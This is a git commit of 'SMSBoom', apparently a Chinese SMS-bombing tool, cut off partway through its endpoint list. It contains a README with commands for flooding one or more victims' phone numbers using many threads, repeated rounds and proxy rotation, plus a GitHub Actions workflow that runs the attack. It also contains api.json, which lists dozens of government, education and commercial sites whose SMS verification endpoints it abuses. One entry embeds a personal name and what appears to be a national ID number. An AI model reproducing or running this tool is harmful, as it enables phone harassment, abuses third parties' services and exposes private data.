proper repair smsboom

This commit is contained in:
OpenEthan
2023-11-23 14:32:45 +08:00
commit fee36d315b
31 changed files with 5609 additions and 0 deletions

29
.github/workflows/run.yaml vendored Executable file
View File

@@ -0,0 +1,29 @@
name: 🚀 Run SMSBoom in Action
# 触发 Action 的条件
on:
# 定时触发 参考 https://docs.github.com/cn/actions/using-workflows/events-that-trigger-workflows#schedule
# schedule:
# - cron: '30 5 * * 1,3'
# - cron: '30 5 * * 2,4'
# 手动触发
workflow_dispatch:
jobs:
build:
runs-on: ubuntu-latest
steps:
# 签出项目代码
- uses: actions/checkout@v3
# 设置 py3.8 环境
- name: 🚀 Set up Python 3.x
uses: actions/setup-python@v3
with:
python-version: '3.8'
- name: 🚀 Run SMSBoom Script
# 此处可以自定义命令行运行参数.替换手机号
run: |
pip3 install -r requirements.txt
python3 smsboom.py run -p ${{ secrets.NUMBER }} -t 32

164
.gitignore vendored Executable file
View File

@@ -0,0 +1,164 @@
# owner
git-filter-repo.py
replacements.txt
# Byte-compiled / optimized / DLL files
__pycache__/
*.py[cod]
*$py.class
# C extensions
*.so
# Distribution / packaging
.Python
build/
develop-eggs/
dist/
downloads/
eggs/
.eggs/
lib/
lib64/
parts/
sdist/
var/
wheels/
share/python-wheels/
*.egg-info/
.installed.cfg
*.egg
MANIFEST
# PyInstaller
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt
pip-delete-this-directory.txt
# Unit test / coverage reports
htmlcov/
.tox/
.nox/
.coverage
.coverage.*
.cache
nosetests.xml
coverage.xml
*.cover
*.py,cover
.hypothesis/
.pytest_cache/
cover/
# Translations
*.mo
*.pot
# Django stuff:
*.log
local_settings.py
db.sqlite3
db.sqlite3-journal
# Flask stuff:
instance/
.webassets-cache
# Scrapy stuff:
.scrapy
# Sphinx documentation
docs/_build/
# PyBuilder
.pybuilder/
target/
# Jupyter Notebook
.ipynb_checkpoints
# IPython
profile_default/
ipython_config.py
# pyenv
# For a library or package, you might want to ignore these files since the code is
# intended to run in multiple environments; otherwise, check them in:
# .python-version
# pipenv
# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
# However, in case of collaboration, if having platform-specific dependencies or dependencies
# having no cross-platform support, pipenv may install dependencies that don't work, or not
# install all needed dependencies.
#Pipfile.lock
# poetry
# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
# This is especially recommended for binary packages to ensure reproducibility, and is more
# commonly ignored for libraries.
# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
#poetry.lock
# pdm
# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
#pdm.lock
# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
# in version control.
# https://pdm.fming.dev/#use-with-ide
.pdm.toml
# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
__pypackages__/
# Celery stuff
celerybeat-schedule
celerybeat.pid
# SageMath parsed files
*.sage.py
# Environments
.env
.venv
env/
venv/
ENV/
env.bak/
venv.bak/
# Spyder project settings
.spyderproject
.spyproject
# Rope project settings
.ropeproject
# mkdocs documentation
/site
# mypy
.mypy_cache/
.dmypy.json
dmypy.json
# Pyre type checker
.pyre/
# pytype static type analyzer
.pytype/
# Cython debug symbols
cython_debug/
# PyCharm
# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
# and can be added to the global gitignore or merged into this file. For a more nuclear
# option (not recommended) you can uncomment the following to ignore the entire idea folder.
.idea/

9
Dockerfile Normal file
View File

@@ -0,0 +1,9 @@
FROM python:3.9-alpine
WORKDIR /src
COPY . ./
RUN pip install pipenv && pipenv install --deploy --ignore-pipfile
ENTRYPOINT ["pipenv", "run", "python", "smsboom.py"]

1020
GETAPI.json Executable file

File diff suppressed because it is too large Load Diff

201
LICENSE Executable file
View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2022 WhaleFall
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

242
README.md Normal file
View File

@@ -0,0 +1,242 @@
# SMSBoom - Repair 重制版
![logo](img/smsboom-logo.png)
![test](img/test2.gif)
## 免责声明
1. 使用此程序请遵守当地的法律法规,禁止滥用、恶意使用,**触犯法律所造成的问题均由使用者承担**。
2. 本程序仅供娱乐,源码全部开源,**禁止滥用** 和二次 **禁止用于商业用途**.
## Repair - TODO
1. 修改文档
2. 修缮主要功能
3. 修缮后端使用 FastAPI 前端使用 vue3 elementUI
4. GUI 使用 web 技术
## Feature
1. 通过自定义 `api.json` 的方式定义接口.
2. 支持关键字替换. **时间戳** `[timestamp]` **手机号** `[phone]`
3. 多线程/异步 请求.
4. 通过 Flask 提供网页测试/添加接口.
5. 友好的命令行参数支持.
6. 采用方便的 pipenv 包管理.
7. 通过代理调用短信接口, 支持 http, socks4, socks5代理.
8. 使用随机的 User-Agent.
9. 可指定轰炸次数, 轰炸间隔时间.
## Quick Start
### 适用于小白
✨本项目已经使用 `pyinstaller` 打包成 `EXE` 可执行文件!免去部署 Python 环境的烦恼,适合用于小白白.
🔨作者的打包环境为: `Windows 10 x64 Python3.8` 如果 Windows 系统不是 **Windows 10 64位** 版本,**可能会运行失败**! 如果出现异常报错请截图发 Issue.
#### Step1. 下载 EXE 可执行文件
请移步到项目的 [release页](https://github.com/OpenEthan/SMSBoom/releases) 下载
> 若遇到国内网络环境下载不下来,请参见 [https://github.do/](https://github.do/) 等加速镜像.
#### Step2 运行
1. 在任意盘(**除C盘外**)中新建一个文件夹.将程序移动到其中. e.g.
![img](https://cdn.jsdelivr.net/gh/OpenEthan/SMSBoom@master/img/e.g.1.png)
2. `Win`+`R` 打开cmd.输入存放的盘符.例如: `E:` 然后cd到文件夹,例如 `cd SMS`
![img](https://cdn.jsdelivr.net/gh/OpenEthan/SMSBoom@master/img/cmd1.png)
3. 确认 cmd 路径是 EXE 所在路径后,cmd 输入:`smsboom_pyinstall.exe`,若出现命令提示,则说明脚本已正常运行.
![img](https://cdn.jsdelivr.net/gh/OpenEthan/SMSBoom@master/img/cmd2.png)
4. 使用前必须更新一遍最新接口
```shell
smsboom_pyinstall.exe update
```
> 若更新接口出现错误 `ssl_`, 请参见 [issue](https://github.com/OpenEthan/SMSBoom/issues/2) **关闭代理软件**再 update.
5. 传递命令示例
启动64个线程,轰//炸一个人的手机号(198xxxxxxxx),只轰//炸一波。
```shell
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx
```
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次
```shell
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60
```
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒
```shell
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30
```
启动64个线程,轰//炸一个人的手机号(19xxxxxxx),启动循环轰//炸, 轮番轰//炸60次, 每次间隔30秒, 开启代理列表进行轰炸
```shell
smsboom_pyinstall.exe run -t 64 -p 198xxxxxxxxx -f 60 -i 30 -e
```
启动64个线程,轰//炸多个人的手机号(138xxx,139xxxx),启动循环轰//炸, 轮番轰炸60次, 每次间隔30秒, 开启代理列表进行轰炸
```shell
smsboom_pyinstall.exe run -t 64 -p 138xxxxxxxx -p 139xxxxxxxx -f 60 -i 30 -e
```
### Development
1. Download 下载项目
```shell
git clone https://github.com/AdminWhaleFall/SMSBoom.git/
```
2. 配置虚拟环境 Deploy Virtual Envirement
**前提条件:** 请确保自己的电脑有 `python3.x` 的环境,推荐使用 `3.8` 及以上!
#### 使用 pipenv
1. 安装 pipenv 包管理工具.
```shell
pip install pipenv
```
2. 为项目构建虚拟环境.
```shell
pipenv install # 仅使用轰//炸功能
pipenv install --dev # 使用 webui 调试接口功能.
```
3. 尝试运行 smsboom.py
```shell
pipenv shell # 激活虚拟环境
python smsboom.py # linux
```
若无报错,输出帮助信息,则说明环境已经正确安装。若报错请使用方案二
#### 不使用虚拟环境
1. 安装所需要的库
```shell
pip install -r requirements.txt # 仅使用轰//炸
pip install -r requirements-dev.txt # 使用 webui
```
2. 尝试运行 smsboom.py
```shell
python smsboom.py
```
若无报错,输出帮助信息,则说明环境已经正确安装。
#### 使用 Docker 运行
##### 方式一: 一键运行
```shell
docker run --rm lanqsh/smsboom run -t 1 -p {PHONE} -i 1
```
##### 方式二: 自建镜像
**前提条件:** 请确保当前环境已安装 [Docker](https://docs.docker.com/get-docker/).
1. 构建镜像
```shell
docker build -t whalefell/smsboom .
```
2. 尝试运行
```shell
docker run --rm whalefell/smsboom:latest --help
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
asyncrun 以最快的方式请求接口(真异步百万并发)
onerun 单线程(测试使用)
run 传入线程数和手机号启动轰炸,支持多手机号
update 从 github 获取最新接口
```
#### 运行
若使用虚拟环境,请先激活. `pipenv shell`
```shell
# 输出帮助信息
python smsboom.py --help
Usage: smsboom.py [OPTIONS] COMMAND [ARGS]...
Options:
--help Show this message and exit.
Commands:
run 传入线程数和手机号启动轰//炸,支持多手机号
update 从 github 获取最新接口
```
- 启动轰//炸
帮助信息:
```shell
python smsboom.py run --help
Usage: smsboom.py run [OPTIONS]
传入线程数和手机号启动轰//炸,支持多手机号
Options:
-t, --thread INTEGER 线程数(默认64)
-p, --phone TEXT 手机号,可传入多个再使用-p传递 [required]
-f, --frequency INTEGER 执行次数(默认1次)
-i, --interval INTEGER 间隔时间(默认60s)
-e, --enable_proxy BOOLEAN 开启代理(默认关闭)
--help Show this message and exit.
```
### 使用代理
本项目不能通过API自动获取代理, 你可以从下面的免费代理网站中手动获取代理, 或是选择使用自己的代理, 或是不使用代理.
> [https://proxyscrape.com/free-proxy-list](https://proxyscrape.com/free-proxy-list)
> [https://openproxy.space/list](https://openproxy.space/list)
将代理添加到 `http_proxy.txt` `socks4_proxy.txt` `socks5_proxy.txt` 三个文件中, 命令参数添加 `-e` 执行即可.
## Donation / Sponsor
Donation is not available at the moment.
暂时不开放赞助
## Star ♥ 趋势图
<img src="https://starchart.cc/OpenEthan/smsboom.svg">
## ✨Discussion
欢迎加入讨论对项目提出问题和建议mua!

820
api.json Executable file
View File

@@ -0,0 +1,820 @@
[
{
"desc": "福州久邻信息",
"url": "https://yjhi.jihesh.com/api/app/code",
"method": "POST",
"header": {
"Content-Type": "application/json;charset=utf-8"
},
"data": {
"token": "",
"platform": "APP",
"lang": "zh-CN",
"phone": "[phone]",
"event": "reg"
}
},
{
"desc": "卡饭信息安全",
"url": "https://pdf.kfsafe.cn/sms/phone/code",
"method": "POST",
"header": {
"Content-Type": "application/json;charset=utf-8"
},
"data": {
"phone": "[phone]"
}
},
{
"desc": "彩云小译",
"url": "https://biz.caiyunapp.com/v1/send_sms_code",
"method": "POST",
"header": {
"Referer": "https://fanyi.caiyunapp.com/",
"Cy-Token": "token 9876032166"
},
"data": {
"phone_num": "[phone]",
"area_code": "86"
}
},
{
"desc": "网易云游戏",
"url": "https://n.cg.163.com/api/v1/phone-captchas/86-[phone]",
"method": "POST",
"header": "",
"data": {
"etc": {
"validate": ""
}
}
},
{
"desc": "果壳app",
"url": "https://guokrapp-apis.guokr.com/hawking/v1/verifications",
"method": "POST",
"header": {
"User-Agent": "android 2.0.15",
"Client-Source": "android;23;Android;MuMu",
"Client-Channel": "gkchannel_QD009",
"Content-Type": "application/json; charset=UTF-8"
},
"data": {
"dial_code": "0086",
"phone": "[phone]"
}
},
{
"desc": "踢米app",
"url": "https://www.timing360.com/user/send-captcha",
"method": "POST",
"header": {
"Authorization": "7119181942667E7D85987C65A6D0B8EC",
"Content-Type": "application/x-www-form-urlencoded"
},
"data": "_app_version=10.13.2&_carrier=&_city=&_country=&_country_code=&_date=2022-04-05&_device_id=b6ad5aabe403d839&_device_manufacturer=Netease&_device_model=MuMu&_device_os=Android&_device_os_version=6.0.1&_distinct_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_ip=&_is_login_id=0&_login_method=phone&_network_type=WIFI&_province=&_screen_height=2000&_screen_width=1125&_time=2022-04-05%2021%3A21%3A13&_user_id=a86d6bb7-8e26-43c5-baf3-82cdf95fffdd&_wifi=1&adCode=&brand=Android&city=&cityCode=&countryCode=86&imei=861151055733959&isCheckPhoneExist=0&latitude=&longitude=&market=yyb&nonce=708380&os=6.0.1&osType=1&phoneModel=MuMu&phoneNumber=[phone]&sessionId=e1c69361-c78b-4f4d-8c98-938ba4eccff6×tamp=[timestamp]&userID=-709178027&userKey=11111111111111111111111111111111&versioncode=187"
},
{
"desc": "微爱app",
"url": "http://api.welove520.com/v5/account/phone/verifyCode/send?phone_number=[phone]&client_id=464847866_[timestamp]&type=6&area_code=86&app_key=ac5f34563a4344c4&sig=xvP64W04tR%2FNJoZEJEoJySmlIXU%3D",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "返利app(24小时限制)",
"url": "https://passport.fanli.com/mobileapi/i/user/mobileFastReg?jsoncallback=jQuery21105357980471043338_[timestamp]&mobile=[phone]&countrycode=86&mobilestep=1&_=[timestamp]",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "酷安(一天只能一次)",
"url": "https://account.coolapk.com/auth/login?type=mobile",
"method": "POST",
"header": "",
"data": "submit=1&requestHash=c2592a6dr9x510&country=86&mobile=[phone]&captcha=&randomNumber=0undefined7952784010774208"
},
{
"desc": "广东高考报名web",
"url": "https://pg.eeagd.edu.cn/ks/public/kszc/zcyzm.jsmeb",
"method": "POST",
"header": "",
"data": "[phone]"
},
{
"desc": "广东教育翔云",
"url": "https://gl.gdedu.gov.cn/api-service/captcha?phoneNumber=[phone]&captchaType=QUERY_ADMIN",
"method": "GET",
"header": "",
"data": ""
},
{
"desc": "迪卡侬",
"url": "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
"method": "POST",
"header": "",
"data": {
"countryCode": "CN",
"mobile": "[phone]"
}
},
{
"desc": "股海网",
"url": "https://www.guhai.com.cn/front/member/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "LLL的个人blog",
"url": "http://www.lll.plus/sendCode/",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"forgetPwd": ""
}
},
{
"desc": "企米子",
"url": "https://www.xcxui.com/index/register/getcode.html",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "蒲公英",
"url": "https://id.pgyer.com/user/getRegisterCode",
"method": "POST",
"header": "",
"data": {
"tel": "[phone]",
"callingCode": "86",
"mode": "tel"
}
},
{
"desc": "百卓优采",
"url": "https://erp.abiz.com/mobilecode/sendMobileCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"captcha": ""
}
},
{
"desc": "云背篓",
"url": "https://brand.yunbeilou.com/index.php/smssend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"v": "yes"
}
},
{
"desc": "PHP中文网",
"url": "https://m.php.cn/account/phone_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "12321",
"url": "http://dhba.12321.cn/api/verifycode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "Testin众测",
"url": "https://www.ztestin.com/users/send/vercode",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"type": "register",
"voice": "0"
}
},
{
"desc": "海尔",
"url": "http://maker.haier.net/client/user/sendregistervcode.html",
"method": "POST",
"header": "",
"data": {
"account": "[phone]"
}
},
{
"desc": "飞猫云",
"url": "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
"method": "POST",
"header": "",
"data": {
"pcode": "+86",
"phone": "[phone]"
}
},
{
"desc": "华觉数字化平台",
"url": "https://end.huajuetech.com/api/sendCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"email": "null",
"verfy_method": "mobile"
}
},
{
"desc": "问政江西",
"url": "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "河南智慧党建",
"url": "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"verifytype": "1"
}
},
{
"desc": "陆陆陆云安全",
"url": "https://cloud.666idc.com/index/login/sendsms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"mobile_pre": "86"
}
},
{
"desc": "网易",
"url": "https://dz.blizzard.cn/action/user/mobile/captcha",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "码云社",
"url": "https://www.codeseeding.com/loginUser/toSend",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "人才山东",
"url": "http://sso.rcsd.cn/regist/getVerifyCode",
"method": "POST",
"header": "",
"data": {
"personcall": "[phone]"
}
},
{
"desc": "水利部",
"url": "http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "七联大学",
"url": "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
"method": "POST",
"header": "",
"data": {
"phoneNumber": "[phone]",
"sendType": "0"
}
},
{
"desc": "闪德资讯",
"url": "https://www.0101ssd.com/user/sendmsg",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"event": "register"
}
},
{
"desc": "江苏省名师空中课堂",
"url": "https://mskzkt.jse.edu.cn/baseApi/user/code/",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]",
"type": "1"
}
},
{
"desc": "CSFF短片",
"url": "https://csff.cutv.com/wapi/users/sendregcode",
"method": "POST",
"header": "",
"data": {
"telphone": "[phone]"
}
},
{
"desc": "广西人社厅",
"url": "http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
"method": "POST",
"header": "",
"data": {
"aae005": "[phone]",
"aac003": "刘萌萌",
"aac002": "210212198506035924",
"notkeyflag": "1"
}
},
{
"desc": "麦克赛尔数字映像",
"url": "https://www.maxell-dm.cn/Code/CheckImage.aspx",
"method": "POST",
"header": "",
"data": {
"action": "send",
"txtMember_Name": "[phone]"
}
},
{
"desc": "宝提分",
"url": "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "选型系统",
"url": "http://www.cnppump.ltd/Service/UserHandler.ashx",
"method": "GET",
"header": "",
"data": {
"cmd": "GetTelVerifyCode",
"Tel": "[phone]"
}
},
{
"desc": "千里马网信科技",
"url": "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
"method": "POST",
"header": "",
"data": {
"tips": "1",
"shouji": "[phone]"
}
},
{
"desc": "保定云",
"url": "https://baodingyun.com.cn/register/send_registerSMS.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "欢动游戏",
"url": "http://www.gm5.com/auth/registerSms.html",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "迈威",
"url": "https://www.maiwe.com.cn/index/sendcode.html",
"method": "GET",
"header": "",
"data": {
"tel": "[phone]"
}
},
{
"desc": "憨鼠社区",
"url": "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "天鹅到家",
"url": "https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "诺达筑工",
"url": "http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "栋才智慧",
"url": "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "工伤预防网上培训平台",
"url": "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "济宁专技",
"url": "https://sdjn-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "宁夏伊地地质工程有限公司",
"url": "http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "青春大学说",
"url": "http://zycp.qcdxs.com:5001/sms/sendsms",
"method": "POST",
"header": "",
"data": {
"phone_number": "[phone]"
}
},
{
"desc": "兴业利达电子招投标平台",
"url": "https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
"method": "POST",
"header": "",
"data": {
"username": "[phone]",
"type": "regUser",
"mobile": "PC"
}
},
{
"desc": "火象",
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
"method": "POST",
"header": "",
"data": {
"temp": "1",
"phone": "[phone]"
}
},
{
"desc": "中科教育",
"url": "https://www.vipexam.cn/user/identifyingCode.action",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "聚题库",
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "苏州高新区教育局",
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "专业技术人员继续教育平台",
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "泰安专技",
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "漏洞银行",
"url": "https://www.bugbank.cn/api/verifymobile",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "中国劳动保障新闻网",
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "广东省心理学会",
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "费耘网",
"url": "https://www.feeclouds.com/homepage/register/send",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "语雀web",
"url": "https://www.yuque.com/api/validation_codes",
"method": "POST",
"header": {
"referer": "https://www.yuque.com/register"
},
"data": {
"target": "[phone]",
"action": "register",
"channel": "sms"
}
},
{
"desc": "甜糖app",
"url": "http://tiantang.mogencloud.com/web/api/login/code?phone=[phone]",
"method": "POST",
"header": "",
"data": ""
},
{
"desc": "网心云APP",
"url": "https://account-box.onethingpcs.com/xluser.core.login/v3/sendsms",
"method": "POST",
